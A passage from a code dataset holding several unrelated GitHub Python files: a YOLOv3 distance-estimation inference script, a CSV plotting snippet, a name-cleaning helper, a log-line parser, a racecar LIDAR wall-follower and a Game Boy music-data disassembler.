detections.append(torch.cat((curr_bboxes, curr_cls, curr_dist), dim=1))\n\n detections = torch.cat(detections, dim=0).cpu().numpy()\n\n t_nms = time.time()\n\n # category_id_to_name = {0: 'Window', 1: 'door'}\n\n out_image = image.squeeze(0).permute(1, 2, 0).cpu().numpy()\n\n pred_bboxes = detections[..., :4]\n pred_cls = detections[..., 4]\n pred_dist = detections[..., 5] * self.args.dist_norm\n\n try:\n # if num_batches:\n # adding groudtruth boxes\n bboxes = bboxes[bboxes.sum(dim=-1) > 0].cpu().numpy()\n bboxes[..., 4] = bboxes[..., 4] * self.args.dist_norm\n gt_boxes = bboxes[..., :4]\n gt_dist = bboxes[..., 4]# * self.args.dist_norm\n gt_id = bboxes[..., 5]\n annotation = {'image': out_image,\n 'bboxes': gt_boxes,\n 'category_id': gt_id,\n 'dist': gt_dist}\n\n out_image = visualize(annotation, self.label_decoder, Normalized=True, color=(1, 1, 0))\n\n h, w, _ = out_image.shape\n\n pred_bboxes[:, 0] /= w\n pred_bboxes[:, 1] /= h\n pred_bboxes[:, 2] /= w\n pred_bboxes[:, 3] /= h\n\n annotation = {'image': out_image,\n 'bboxes': pred_bboxes,\n 'category_id': pred_cls,\n 'dist': pred_dist}\n\n # detected image\n out_image = visualize(annotation, self.label_decoder, Normalized=True, color=(1, 0, 0))\n if batch_inference is None:\n out_images = torch.tensor(out_image).permute(2, 1, 0).unsqueeze(0)\n\n else:\n out_images = torch.cat((out_images, torch.tensor(out_image).permute(2, 1, 0).unsqueeze(0)), dim=0)\n\n predBOXES = np.concatenate([pred_bboxes, pred_dist.reshape(-1, 1), pred_cls.reshape(-1, 1)], axis=1)\n gtBOXES = bboxes\n\n # analyzing results\n curr_gt_dist, curr_pred_dist = distance_over_IoU_thresh(gtBOXES, predBOXES, IoUth=0.95)\n\n if curr_gt_dist.size > 0:\n if GT_DIST.size == 0:\n GT_DIST = curr_gt_dist\n else:\n GT_DIST = np.vstack((GT_DIST, curr_gt_dist))\n\n if curr_pred_dist.size > 0:\n if PRED_DIST.size == 0:\n PRED_DIST = curr_pred_dist\n else:\n PRED_DIST = np.vstack((PRED_DIST, curr_pred_dist))\n\n except Exception as e:\n print(e)\n\n t_visualize = time.time()\n\n logging.info(\"#detections: %d total time:%.3f[msec], pred: %.3f[msec], display: %.3f[msec]\" % (\n detections.shape[0],\n (t_visualize-t0)*1e3,\n (t_preds - t0)*1e3 +\n (t_nms - t_preds) * 1e3,\n (t_visualize - t_nms) * 1e3))\n\n\n total_detction_time += (t_preds - t0)*1e3 + (t_nms - t_preds) * 1e3\n\n cv2.namedWindow(\"output\", cv2.WINDOW_NORMAL)\n\n cv2.imshow(\"output\", cv2.cvtColor(out_image, cv2.COLOR_BGR2RGB))\n cv2.resizeWindow(\"output\", 512, 512)\n cv2.waitKey(1)\n # cv2.destroyAllWindows()\n cv2.destroyAllWindows()\n\n logging.info('average detection time: %.3f[msec]' % (total_detction_time / num_frames))\n\n # display distance stats:\n plt.figure()\n plt.title('distance estimation')\n plt.scatter(GT_DIST, PRED_DIST, marker='x', c='b')\n plt.xlabel('gt [m]')\n plt.ylabel('pred [m]')\n\n lr_model = np.polyfit(GT_DIST[:,0], PRED_DIST[:,0], 1) # perform linear regression\n dist_lr_pred = GT_DIST * lr_model[0] + lr_model[1]\n dist_rmse = np.sqrt(mean_squared_error(GT_DIST[:,0], PRED_DIST[:,0]))\n plt.plot(GT_DIST, dist_lr_pred, c='r')\n plt.text(4.5, 4.2, \"y={:.5f}*x + {:.5f}\\nRMSE={:.5f}\".format(lr_model[0], lr_model[1], dist_rmse))\n plt.title('IoU=0.95')\n # plt.xlim((3, 7.5))\n # plt.ylim((3, 8))\n return out_images\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"kzir database data loader\", fromfile_prefix_chars=\"@\")\n parser.convert_arg_line_to_args = CustomArgumentParser(parser).convert_arg_line_to_args\n\n parser.add_argument('--val-data', type=str,\n required=True,\n help='path to parent database root. its childern is images/ and /labels')\n\n parser.add_argument('--model', type=str, default='yolov3-tiny',\n choices=['yolov3-tiny', 'yolov3'],\n help='yolo models. can be one of: yolov3-tiny, yolov3')\n parser.add_argument('--batch-size', type=int, default=14,\n help='train batch size')\n parser.add_argument('--img-size', type=int, default=416,\n help='image size')\n parser.add_argument('--epochs', type=int, default=20,\n help='number of epochs to train (default: auto)')\n parser.add_argument('--lr', type=float, default=0.0001, metavar='LR',\n help='learning rate (default: auto)')\n parser.add_argument('--momentum', type=float, default=0.9,\n help='momentum')\n parser.add_argument('--weight-decay', type=float, default=5e-4,\n metavar='M', help='w-decay (default: 5e-4)')\n parser.add_argument('--weights', type=str, default='',\n help='path to pretrained weights')\n parser.add_argument('--gpu-ids', type=str, default='1, 0',\n help='use which gpu to train, must be a \\\n comma-separated list of integers only (default=0)')\n parser.add_argument('--workers', type=int, default=16,\n metavar='N', help='dataloader threads')\n\n # classes and anchors:\n # parser.add_argument('--num-classes', type=int, default=KzirDataset().label_decoding,\n # help=\"number of classes\")\n parser.add_argument('--anchors', type=str,\n default='[10,13],[16,30],[33,23],[30,61],[62,45],[59,119],[116,90],[156,198],[373,326]',\n help='lists of anchors. each anchor are given as lists separated by coma: [x1,y1],[x2,y2],..')\n parser.add_argument('--num-anchors-per-resolution', type=int,\n default=3,\n help='lists of anchors. each anchor are given as lists separated by coma: [x1,y1],[x2,y2],..')\n # dataset type\n parser.add_argument('--dataset-type', type=str,\n default='distance',\n help='dataset type')\n # checking point\n parser.add_argument('--resume', action='store_true',\n help='is given, will resu,e training from loaded checkpoint including learning rate')\n parser.add_argument('--checkpoint', type=str, default='model_best.pth',\n help='set the checkpoint name')\n parser.add_argument('--output-path', type=str, default=os.getcwd() + \"/YoloV3/results\",\n help='output path')\n\n # detection parameters\n parser.add_argument('--nms-thres', type=float, default=0.1,\n help='non max suppression bbox iou threshold')\n parser.add_argument('--conf-thres', type=float, default=0.5,\n help='object prediction confidence threshold')\n parser.add_argument('--dist-norm', type=float, default=30.0,\n help='normalize distance by this size')\n\n\n args, unknow_args = parser.parse_known_args()\n\n logging.info('input parameters: {}'.format(args))\n # getting number of classes from dataloader\n args.num_classes = len(DistanceEstimationDataset(args, split='val').label_decoding().keys())\n\n # parsing anchors:\n anchors = args.anchors.replace('[',',').replace(']',',').split(',')\n anchors = np.array([int(num_str) for num_str in anchors if num_str])\n args.anchors = np.reshape(anchors, (-1, 2))\n\n # setting image size:\n if np.size(args.img_size) == 1:\n args.img_size = [args.img_size, args.img_size]\n\n\n\n # selecting model from user inputs\n if args.model == 'yolov3-tiny':\n model = YoloV3_tiny(args)\n elif args.model == 'yolov3':\n model = YoloV3(args)\n else:\n raise (\"currently supporting only yolov3_or yolov3 tiny\")\n\n args.cuda = torch.cuda.is_available()\n if args.cuda:\n try:\n torch.cuda.empty_cache()\n logging.info('emptied cuda cache successfully')\n args.gpu_ids = [int(s) for s in args.gpu_ids.split(',')]\n if len(args.gpu_ids) == 1 and args.gpu_ids[0] != torch.cuda.current_device():\n torch.cuda.set_device(args.gpu_ids[0])\n except ValueError:\n raise ValueError('Argument --gpu_ids must be a comma-separated list of integers only')\n\n\n # load trained model\n model.load_state_dict(torch.load(args.output_path)[\"model_state_dict\"])\n logging.info('loaded model from: {}'.format(args.output_path))\n\n\n logging.info('run inference...')\n inference = Inference(args, model).infer()\n\n logging.info(\"inference finished\")\n plt.show()\n\n","repo_name":"AmitNativ1984/YoloV3Distance","sub_path":"YoloV3/detect.py","file_name":"detect.py","file_ext":"py","file_size_in_byte":14859,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"18201679974","text":"import pandas as pd\nimport matplotlib.pyplot as plt\n\navaliacao = pd.read_csv(\"arquivos\\\\files\\\\report.csv\")\nprint(avaliacao)\n\nresultado = avaliacao.groupby([\"Frame\"]).sum()\nprint(resultado)\n\nresultado.plot.bar()\nplt.show()","repo_name":"AntonyFelisberto/python-detect-moviments","sub_path":"arquivos/comparar_qualidade_analises.py","file_name":"comparar_qualidade_analises.py","file_ext":"py","file_size_in_byte":222,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28361815357","text":"import re\n\n\ndef intense_get(dictionary, key_list, default=None):\n\tresult = None\n\tfor k in key_list:\n\t\tresult = dictionary.get(k, None)\n\t\tif result:\n\t\t\tbreak\n\tif not result:\n\t\tresult = default\n\treturn result\n\n\nPATTERNS = [\n\tre.compile(p) for p in [\n\t\t\"\\d+\\s[Ee]pisodes?,? ?\",\n\t\t\"19\\d\\d ?\",\n\t\t\"20\\d\\d ?\",\n\t\t\"\\n\",\n\t\t\"\\t\",\n\t\t\" \",\n\t\t\" $\"\n\t]\n]\n\n\ndef clean_name(name):\n\tfor pattern in PATTERNS:\n\t\tname = re.sub(pattern, \"\", name)\n\treturn name\n","repo_name":"csweaver/imdb-venn-diagram","sub_path":"server/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13055327997","text":"import re\n\nfrom log_parser.const import REQUEST_TYPE_BACKEND_CONNECT, REQUEST_TYPE_BACKEND_ERROR, REQUEST_TYPE_BACKEND_OK\n\ngeneral_re = re.compile(r'(?P\\d+)\\s(?P\\d+)\\s(?P\\w+).*')\nbackend_connect_re = re.compile(rf'.*{REQUEST_TYPE_BACKEND_CONNECT}\\s(?P\\d+)\\s+(?P\\S+)')\nbackend_ok_re = re.compile(rf'.*{REQUEST_TYPE_BACKEND_OK}\\s+(?P\\d+)')\nbackend_error_re = re.compile(rf'.*{REQUEST_TYPE_BACKEND_ERROR}\\s(?P\\d+)\\s+(?P.*)')\n\n\nclass LineInfo:\n request_id: int\n request_type: str\n timestamp: int\n\n attrs = ('request_id', 'request_type', 'timestamp')\n\n def __init__(self, request_id: int, request_type: str, timestamp: int):\n self.request_id = request_id\n self.request_type = request_type\n self.timestamp = timestamp\n\n def __eq__(self, other):\n return all(getattr(self, key, None) == getattr(other, key, None) for key in self.attrs)\n\n def __repr__(self):\n attrs = \" \".join(f\"{key}: {getattr(self, key, None)}\" for key in self.attrs)\n return f'<{self.__class__.__name__} {attrs}>'\n\n\nclass BackendErrorLineInfo(LineInfo):\n group_id: int\n error: str\n\n attrs = LineInfo.attrs + ('group_id', 'error')\n\n def __init__(self, group_id: int, error: str, *args, **kwargs):\n self.group_id = group_id\n self.error = error\n super().__init__(*args, **kwargs)\n\n\nclass BackendOkLineInfo(LineInfo):\n group_id: int\n\n attrs = LineInfo.attrs + ('group_id',)\n\n def __init__(self, group_id: int, *args, **kwargs):\n self.group_id = group_id\n super().__init__(*args, **kwargs)\n\n\nclass BackendConnectLineInfo(LineInfo):\n group_id: int\n backend_url: str\n\n attrs = LineInfo.attrs + ('group_id', 'backend_url')\n\n def __init__(self, group_id: int, backend_url: str, *args, **kwargs):\n self.group_id = group_id\n self.backend_url = backend_url\n super().__init__(*args, **kwargs)\n\n\nclass ParseException(Exception):\n pass\n\n\ndef parse_line_backend_connect(line: str,\n request_id: int,\n request_type: str,\n timestamp: int) -> BackendConnectLineInfo:\n match = backend_connect_re.match(line)\n if not match:\n raise ParseException(f\"Can't parse backend arguments from line: {line}\")\n\n group_id = int(match.group('group'))\n backend_url = match.group('url')\n\n return BackendConnectLineInfo(\n request_id=request_id,\n request_type=request_type,\n timestamp=timestamp,\n group_id=group_id,\n backend_url=backend_url\n )\n\n\ndef parse_line_backend_error(line: str, request_id: int, request_type: str, timestamp: int) -> BackendErrorLineInfo:\n match = backend_error_re.match(line)\n if not match:\n raise ParseException(f\"Can't parse backend arguments from line: {line}\")\n\n error = match.group('error')\n group_id = int(match.group('group'))\n\n return BackendErrorLineInfo(\n request_id=request_id,\n request_type=request_type,\n timestamp=timestamp,\n group_id=group_id,\n error=error\n )\n\n\ndef parse_line_backend_ok(line: str, request_id: int, request_type: str, timestamp: int) -> BackendOkLineInfo:\n match = backend_ok_re.match(line)\n if not match:\n raise ParseException(f\"Can't parse backend arguments from line: {line}\")\n\n group_id = int(match.group('group'))\n\n return BackendOkLineInfo(\n request_id=request_id,\n request_type=request_type,\n timestamp=timestamp,\n group_id=group_id\n )\n\n\ndef parse_line(line: str) -> LineInfo:\n match = general_re.match(line)\n if not match:\n raise ParseException(f\"Can't parse line: {line}\")\n\n request_id: int = int(match.group('id'))\n request_type: str = match.group('type')\n timestamp: int = int(match.group('timestamp'))\n\n if request_type == REQUEST_TYPE_BACKEND_CONNECT:\n return parse_line_backend_connect(line, request_id, request_type, timestamp)\n\n elif request_type == REQUEST_TYPE_BACKEND_ERROR:\n return parse_line_backend_error(line, request_id, request_type, timestamp)\n\n elif request_type == REQUEST_TYPE_BACKEND_OK:\n return parse_line_backend_ok(line, request_id, request_type, timestamp)\n\n return LineInfo(\n request_id=request_id,\n request_type=request_type,\n timestamp=timestamp,\n )\n","repo_name":"ridhid/eventlog","sub_path":"log_parser/parser.py","file_name":"parser.py","file_ext":"py","file_size_in_byte":4413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"10352391954","text":"import sys\nimport cv2 as cv\nimport numpy as np\nimport math\n\nsys.path.insert(0, \"../../library\")\nimport racecar_core\nimport racecar_utils as rc_utils\n\nfrom enum import IntEnum\n\n########################################################################################\n# Global variables\n########################################################################################\n\nrc = racecar_core.create_racecar()\n\n# Add any global variables here\n\n########################################################################################\n# Functions\n########################################################################################\n\nFRONT_WINDOW = (-10,10)\nLEFT_WINDOW = (-50, -40) # center : -45\nRIGHT_WINDOW = (40, 50) # center : 45\nDRIVE_SPEED = 1.0\n# MIN_SPEED = 0.2\n\ndef start():\n \"\"\"\n This function is run once every time the start button is pressed\n \"\"\"\n # Have the car begin at a stop\n rc.drive.stop()\n rc.drive.set_max_speed(0.25)\n\n # Print start message\n print(\">> Lab 4B - LIDAR Wall Following\")\n\n\ndef update():\n \"\"\"\n After start() is run, this function is run every frame until the back button\n is pressed\n \"\"\"\n\n # Follow the wall to the right of the car without hitting anything.\n scan = rc.lidar.get_samples()\n left_angle, left_dist = rc_utils.get_lidar_closest_point(scan, LEFT_WINDOW)\n right_angle, right_dist = rc_utils.get_lidar_closest_point(scan, RIGHT_WINDOW)\n\n rc.display.show_lidar(scan, 128, 1000, [(left_angle, left_dist), (right_angle, right_dist)])\n\n error = right_dist - left_dist \n maxError = 12\n kP = 0.5\n\n angle = rc_utils.clamp(kP * error / maxError, -1, 1)\n speed = DRIVE_SPEED\n\n # speed = rc_utils.clamp(math.cos(0.5 * math.pi * angle) * DRIVE_SPEED + MIN_SPEED, -1, 1) # smoothened version of -abs(angle) + 1\n # https://www.desmos.com/calculator/24qctllaj1\n \n print(\"Error: \" + str(error))\n\n rc.drive.set_speed_angle(speed, angle)\n\n\n########################################################################################\n# DO NOT MODIFY: Register start and update and begin execution\n########################################################################################\n\nif __name__ == \"__main__\":\n rc.set_start_update(start, update, None)\n rc.go()\n","repo_name":"MITLLRacecar/racecar-daniel-gorbunov","sub_path":"labs/lab4/lab4b.py","file_name":"lab4b.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"33665110008","text":"#!/usr/bin/python3\n#\n# Dump the music tracks data to readable ASM files.\n\nimport sys\n\n\nDEBUG = False\n\n# ================================================================================\n# Helper functions\n# ================================================================================\ndef read16(rom, addr):\n return rom[addr] | ((rom[addr+1])<<8)\n\ndef bankedAddress(bank, addr):\n return bank*0x4000 + (addr&0x3fff)\n\ndef toGbPointer(addr):\n if addr < 0x4000:\n return addr\n return (addr&0x3fff)+0x4000\n\n# Hexadecimal with \"$\" instead of \"0x\"\ndef myhex(val, digits=2):\n out = hex(val)[2:]\n while len(out) < digits:\n out = '0' + out\n return out\n\ndef signedByte(val):\n if val >= 0x80:\n return val - 0x100\n return val\n\ndef signedHex(val):\n if val >= 0:\n return '$' + myhex(val)\n out = hex(val)[3:]\n return '-$' + out\n\n# Get byte data in a format the assembler understands (db statements)\ndef getByteString(data, cols=16):\n i = 0\n s = ''\n for b in data:\n if i == 0:\n s += ' db '\n else:\n s += ', '\n s += '$' + myhex(b)\n i+=1\n if i == cols:\n i = 0\n s += '\\n'\n if i != 0:\n s += '\\n'\n return s\n\ndef getMusicLabel(index):\n return 'Music' + myhex(index)\n\ndef getChannelLabel(musicIndex, channelIndex, cptr):\n return 'Music{0}Channel{1}'.format(myhex(musicIndex), myhex(channelIndex, 1))\n\ndef getChannelDefinitionLabel(musicIndex, channelIndex, ptr):\n bank = ptr // 0x4000\n ptr = toGbPointer(ptr)\n return 'ChannelDefinition_{0}_{1}'.format(myhex(bank, 2), myhex(ptr, 4))\n\ndef getLoopLabel(ptr):\n if dataSet.hasLabelAt(ptr):\n return dataSet.getFirstLabelAt(ptr)\n bank = ptr // 0x4000\n ptr = toGbPointer(ptr)\n return 'MusicLoop_{0}_{1}'.format(myhex(bank, 2), myhex(ptr, 4))\n\ndef getSpeedDataLabel(ptr):\n bank = ptr // 0x4000\n return 'MusicSpeedData_{0}_{1}'.format(myhex(bank), myhex(toGbPointer(ptr), 4))\n\nNOTE_STRINGS = [ 'C_','C#','D_','D#','E_','F_','F#','G_','G#','A_','A#','B_' ]\n\ndef getNoteName(note, channel):\n if channel == 4:\n if note == 0xff:\n return 'NOISE_FF'\n assert(note >= 1 and note < 1+17*5 and (note-1)%5 == 0)\n return 'NOISE_{0}'.format(((note-1)//5)+1)\n else:\n assert(note >= 2 and note <= 0x90)\n note -= 2\n octave = note // 24 + 1\n assert(note % 2 == 0)\n return NOTE_STRINGS[(note//2) % 12] + str(octave)\n\ndef getWaveformName(addr):\n bank = addr // 0x4000\n addr = toGbPointer(addr)\n return 'waveform_{0}_{1}'.format(myhex(bank), myhex(addr, 4))\n\n# ================================================================================\n# Data Class\n# ================================================================================\n# Represents data at a location with a function that knows how to print the\n# data.\nclass Data:\n def __init__(self, start, printer):\n self.startAddr = start\n self.printerFunc = printer # printerFunc: Data -> String\n\n # To be filled later\n self.endAddr = None\n self.nextData = None\n self.dataSet = None\n\n self.label = None\n\n def getSize(self):\n return self.endAddr - self.startAddr\n\n def setLabel(self, label):\n self.label = label\n if self.dataSet is not None:\n self.dataSet.addLabel(self.startAddr, label)\n\n def print(self):\n out = self.dataSet.printLabelsIfAvailable(self.startAddr)\n out += self.printerFunc(self)\n return out\n\n # Generic print functions\n def printAsByteString(d):\n return getByteString(rom[d.startAddr:d.endAddr])\n\n\n# Parsing a collection of Data objects together\nclass DataSet:\n def __init__(self):\n self.dataSet = set()\n self.labelDict = {}\n self.labelAddrDict = {}\n\n def addData(self, data):\n for d2 in self.dataSet:\n if d2.startAddr == data.startAddr:\n assert(False)\n data.dataSet = self\n self.dataSet.add(data)\n if data.label is not None:\n self.addLabel(data.startAddr, data.label)\n\n def addLabel(self, addr, label):\n if self.hasLabelAt(addr) and label in self.labelDict[addr]:\n return\n assert(not self.hasLabel(label))\n if not addr in self.labelDict:\n self.labelDict[addr] = []\n self.labelDict[addr].append(label)\n self.labelAddrDict[label] = addr\n\n def hasLabel(self, label):\n return label in self.labelAddrDict\n\n def hasLabelAt(self, addr):\n return addr in self.labelDict\n\n def getFirstLabelAt(self, addr):\n return self.labelDict[addr][0]\n\n def hasDataAt(self, addr):\n for d in self.dataSet:\n if d.startAddr == addr:\n return True\n return False\n\n def printLabelsIfAvailable(self, addr):\n if not self.hasLabelAt(addr):\n return ''\n s = '\\n'\n for label in self.labelDict[addr]:\n s += '{0}'.format(label)\n if label[0] != '.':\n s += '::'\n if DEBUG:\n s += ' ; $' + myhex(addr, 4)\n s += '\\n'\n return s\n\n # Sorts a collection of Data objects, and fixes their end addresses.\n # Filters out objects that don't fall within the specified range.\n def sortDataCollection(self, dataStart, dataEnd):\n dataList = [d for d in self.dataSet if d.startAddr >= dataStart and d.startAddr < dataEnd]\n dataList = sorted(dataList, key=lambda d: d.startAddr)\n for i in range(len(dataList)):\n d = dataList[i]\n if i == len(dataList)-1:\n d.endAddr = dataEnd\n else:\n d.endAddr = dataList[i+1].startAddr\n d.nextData = dataList[i+1]\n\n return dataList\n\n # Prints a collection of data within a specified range\n def printDataRange(self, dataStart, dataEnd):\n dataList = self.sortDataCollection(dataStart, dataEnd)\n out = ''\n for d in dataList:\n out += d.print()\n return out.strip()\n\n\n\n# ================================================================================\n# Main program\n# ================================================================================\n\nMUSIC_BANK_1 = 0x1b\nMUSIC_BANK_2 = 0x1e\nMUSIC_PTR_TABLE_1 = bankedAddress(MUSIC_BANK_1, 0x0077)\nMUSIC_PTR_TABLE_2 = bankedAddress(MUSIC_BANK_2, 0x007f)\nNUM_TRACKS_1 = 0x30\nNUM_TRACKS_2 = 0x40\n\nif len(sys.argv) < 2:\n print('Usage: {0} '.format(sys.argv[0]))\n sys.exit(1)\n\nf = open(sys.argv[1], 'rb')\nrom = bytearray(f.read())\nf.close()\n\ndataSet = DataSet()\nparsedMusicAddresses = set()\n\nwaveformAddresses = set()\n\nopNames = {\n 0x00: 'end_def',\n 0x01: 'rest',\n 0x94: 'unknownop_94',\n 0x95: 'disable_unknown1',\n 0x96: 'enable_unknown1',\n 0x97: 'enable_unknown2',\n 0x98: 'disable_unknown2',\n 0x99: 'enable_software_envelope',\n 0x9a: 'disable_software_envelope',\n }\n\n\ndef parseSoundChannelDefinition(ptr, channelIndex, endAddr, printPass):\n out = ''\n inLoop = False\n\n bank = ptr // 0x4000\n\n def addByteOperand():\n nonlocal out, ptr\n b = rom[ptr]\n ptr += 1\n out += ', ${0}'.format(myhex(b))\n\n def addWordOperand():\n nonlocal out, ptr\n b = read16(rom, ptr)\n ptr += 2\n out += ', ${0}'.format(myhex(b, 4))\n\n def indent():\n if inLoop:\n return ' ' * 8\n else:\n return ' ' * 4\n\n while True:\n if endAddr != -1 and ptr >= endAddr:\n break\n op = rom[ptr]\n ptr += 1\n if op == 0:\n out += indent() + '{0}'.format(opNames[op])\n out += '\\n'\n break\n elif op == 0x01 or op >= 0x94 and op <= 0x9a:\n out += indent() + '{0}'.format(opNames[op])\n out += '\\n'\n elif op == 0x9b:\n if len(out) > 0 and not (len(out) >= 2 and out[-1] == '\\n' and out[-2] == '\\n'):\n out += '\\n'\n out += indent() + 'begin_loop ${0}\\n'.format(myhex(rom[ptr]))\n ptr += 1\n if inLoop:\n print('WARNING: begin_loop opcode within a loop')\n inLoop = True\n elif op == 0x9c:\n if not inLoop:\n print('WARNING: begin_loop opcode outside a loop')\n inLoop = False\n out += indent() + 'next_loop\\n\\n'\n elif op == 0x9d:\n if channelIndex == 3:\n waveformAddr = bankedAddress(bank, read16(rom, ptr))\n if not printPass:\n waveformAddresses.add(waveformAddr)\n waveformName = getWaveformName(waveformAddr)\n out += indent() + 'set_waveform {0}, ${1}'.format(waveformName, myhex(rom[ptr+2]))\n ptr += 3\n out += '\\n'\n else:\n assert(channelIndex != 4)\n vol = rom[ptr]\n envDir = rom[ptr+1]\n duty = rom[ptr+2]>>6\n envCounter = rom[ptr+2]&0x3f\n out += indent() + 'set_envelope_duty ${0}, ${1}, {2}, {3}'.format(\n myhex(vol), myhex(envDir), duty, envCounter)\n ptr += 3\n out += '\\n'\n elif op == 0x9e:\n sptr = bankedAddress(bank, read16(rom, ptr))\n out += indent() + 'set_speed {0}\\n'.format(getSpeedDataLabel(sptr))\n ptr += 2\n # I didn't add the speed pointer to the dataSet here, but it turned\n # out not to matter (all are accounted for anyway apparently).\n elif op == 0x9f:\n val = signedByte(rom[ptr])\n assert(val % 2 == 0)\n out += indent() + 'set_transpose {0}\\n'.format(signedByte(val) // 2)\n ptr+=1\n elif op >= 0xa0 and op <= 0xaf:\n out += indent() + 'notelen {0}'.format(op&0x0f)\n out += '\\n'\n elif op >= 2 and op <= 0x90 or (channelIndex == 4 and op == 0xff):\n out += indent() + 'note {0}'.format(getNoteName(op, channelIndex))\n out += '\\n'\n else:\n out += indent() + 'db ${0} ; (UNKNOWN OP)'.format(myhex(op))\n out += '\\n'\n return (ptr, out)\n\n\n\n# Set MUSIC_BANK, MUSIC_PTR_TABLE, NUM_TRACKS before calling this.\ndef dumpBank(indexTransformer):\n musicPtrList = []\n\n for i in range(0, NUM_TRACKS):\n addr = MUSIC_PTR_TABLE + 2*i\n ptr = bankedAddress(MUSIC_BANK, read16(rom, addr))\n newIndex =indexTransformer(i+1)\n assert(newIndex != -1)\n musicPtrList.append((ptr, newIndex))\n #print(hex(addr) + ': ' + hex(ptr))\n\n for j in range(len(musicPtrList)):\n ptr,i = musicPtrList[j]\n\n dataSet.addLabel(ptr, getMusicLabel(i))\n if dataSet.hasDataAt(ptr):\n continue\n\n def printMusicHeader(data):\n out = ''\n ptr = data.startAddr\n bank = ptr // 0x4000\n\n if data.getSize() == 0: # Multiple pointers referencing same data\n return out\n\n out += ' db $' + myhex(rom[ptr]) + '\\n'\n ptr += 1\n out += ' dw {0}\\n'.format(getSpeedDataLabel(bankedAddress(bank, read16(rom, ptr))))\n ptr += 2\n for c in range(1, 5): # Sound channels\n cptr = read16(rom, ptr)\n if cptr == 0:\n out += ' dw $0000\\n'\n else:\n if DEBUG:\n out += ' dw {0} ; {1}\\n'.format(getChannelLabel(data.musicIndex, c, cptr), hex(cptr))\n else:\n out += ' dw {0}\\n'.format(getChannelLabel(data.musicIndex, c, cptr))\n ptr += 2\n assert(data.endAddr == ptr)\n return out\n\n musicHeader = Data(ptr, printMusicHeader)\n musicHeader.musicIndex = i\n dataSet.addData(musicHeader)\n ptr += 1\n\n # Don't parse the data more than once\n if ptr in parsedMusicAddresses:\n continue\n parsedMusicAddresses.add(ptr)\n\n # Dump \"speed\" data\n speedPtr = read16(rom, ptr)\n assert(speedPtr != 0)\n speedPtr = bankedAddress(MUSIC_BANK, speedPtr)\n if not dataSet.hasDataAt(speedPtr):\n speedData = Data(speedPtr, Data.printAsByteString)\n speedData.setLabel(getSpeedDataLabel(speedPtr))\n dataSet.addData(speedData)\n\n # Dump sound channels\n ptr += 2\n\n def parseSoundChannelData(channel, cptr):\n if channel == -1:\n label = getLoopLabel(cptr)\n else:\n label = getChannelLabel(i, channel, cptr)\n\n if dataSet.hasDataAt(cptr):\n if not dataSet.hasLabel(label):\n dataSet.addLabel(cptr, label)\n return # Already processed this\n\n def printSoundChannelData(data):\n out = ''\n if data.getSize() == 0:\n return out\n cptr = data.startAddr\n bank = cptr // 0x4000\n while True:\n if cptr >= data.endAddr: # Loops can cause this to happen\n break\n dptr = read16(rom, cptr)\n cptr += 2\n if dptr == 0:\n out += ' dw $0000\\n'\n break\n elif dptr == 0xffff:\n loopPtr = bankedAddress(bank, read16(rom, cptr))\n cptr += 2\n out += ' dw $ffff, ' + getLoopLabel(loopPtr) + '\\n'\n break\n else:\n fullPtr = bankedAddress(bank, dptr)\n out += ' dw {0}\\n'.format(\n getChannelDefinitionLabel(data.musicIndex, data.channelIndex, fullPtr))\n assert(cptr <= data.endAddr)\n if cptr < data.endAddr:\n out += '; UNREFERENCED DATA\\n'\n out += getByteString(rom[cptr:data.endAddr])\n return out\n\n def printSoundChannelDefinitionData(data):\n out = ''\n ptr = data.startAddr\n\n ptr, out = parseSoundChannelDefinition(data.startAddr, data.channelIndex, data.endAddr, True)\n\n assert(ptr <= data.endAddr)\n if ptr < data.endAddr:\n out += '; UNREFERENCED DATA\\n'\n out += getByteString(rom[ptr:data.endAddr])\n return out\n\n data = Data(cptr, printSoundChannelData)\n data.musicIndex = i\n data.channelIndex = channel\n dataSet.addData(data)\n dataSet.addLabel(cptr, label)\n\n # Dump \"sound definitions\"\n while True:\n dptr = read16(rom, cptr)\n cptr += 2\n if dptr == 0:\n break\n elif dptr == 0xffff:\n loopPtr = bankedAddress(MUSIC_BANK, read16(rom, cptr))\n cptr += 2\n parseSoundChannelData(-1, loopPtr) # Recursive call\n break\n else:\n fullPtr = bankedAddress(MUSIC_BANK, dptr)\n label = getChannelDefinitionLabel(i, channel, fullPtr)\n if not dataSet.hasLabel(label):\n dptr = bankedAddress(MUSIC_BANK, dptr)\n data = Data(dptr, printSoundChannelDefinitionData)\n data.channelIndex = channel\n data.setLabel(label)\n dataSet.addData(data)\n parseSoundChannelDefinition(dptr, channel, -1, False)\n\n # End of \"parseSoundChannelData\" function definition\n\n for c in range(1,5):\n cptr = read16(rom, ptr)\n if cptr == 0:\n continue\n cptr = bankedAddress(MUSIC_BANK, cptr)\n parseSoundChannelData(c, cptr)\n ptr += 2\n\n\n# Indexing of songs makes no sense and goes through some transformations (see\n# BeginMusicTrack_Dispatch functions)\ndef indexTransformer1b(inp):\n if inp <= 0x10:\n return inp\n elif inp <= 0x20:\n return inp+0x20\n elif inp <= 0x30:\n return inp+0x40\n return -1\n\ndef indexTransformer1e(inp):\n if inp <= 0x20:\n return inp+0x10\n elif inp <= 0x40:\n return inp+0x20\n\n\nMUSIC_BANK = MUSIC_BANK_1\nMUSIC_PTR_TABLE = MUSIC_PTR_TABLE_1\nNUM_TRACKS = NUM_TRACKS_1\ndumpBank(indexTransformer1b) # Music is 1-indexed\n\nMUSIC_BANK = MUSIC_BANK_2\nMUSIC_PTR_TABLE = MUSIC_PTR_TABLE_2\nNUM_TRACKS = NUM_TRACKS_2\ndumpBank(indexTransformer1e)\n\n# Done with music definitions; now handle the waveform pointers we found\n\ndef printWaveformData(data):\n out = ''\n ptr = data.startAddr\n out += getByteString(rom[ptr:ptr+16])\n ptr += 16\n assert(ptr <= data.endAddr)\n if ptr < data.endAddr:\n out += '; UNREFERENCED DATA\\n'\n out += getByteString(rom[ptr:data.endAddr])\n return 